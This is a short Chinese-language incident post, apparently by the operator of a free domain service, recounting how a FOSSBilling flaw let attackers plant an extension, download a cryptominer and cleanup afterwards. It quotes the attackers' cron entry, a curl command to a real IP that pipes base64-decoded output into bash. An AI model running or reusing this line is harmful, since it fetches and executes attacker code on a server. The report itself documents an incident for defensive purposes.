下午收到TG 警报，服务器CPU 100%，nic.i8.al 无法访问。
赶紧上服务器看一下，发现有异常进程。

经查：

是 fosbilling 的漏洞导致能往扩展目录写文件，并通过 api 启动扩展，扩展允许 guest 执行命令从176.65.148.250 下载木马文件，其实就是一个挖矿程序。
并写入了一个定时任务： /var/spool/cron/crontabs/www:*/3 * * * * curl -s "http://176.65.148.250:6556/ok" | base64 -d | bash
好在所有的操作只是 www 权限。已经清理了病毒文件。目前还不清楚是否还有后门。
**

一个小时之后网站恢复。

**
哎，公益真难做。
之前做了很多定制化开发，想升级也费劲。
就这样吧。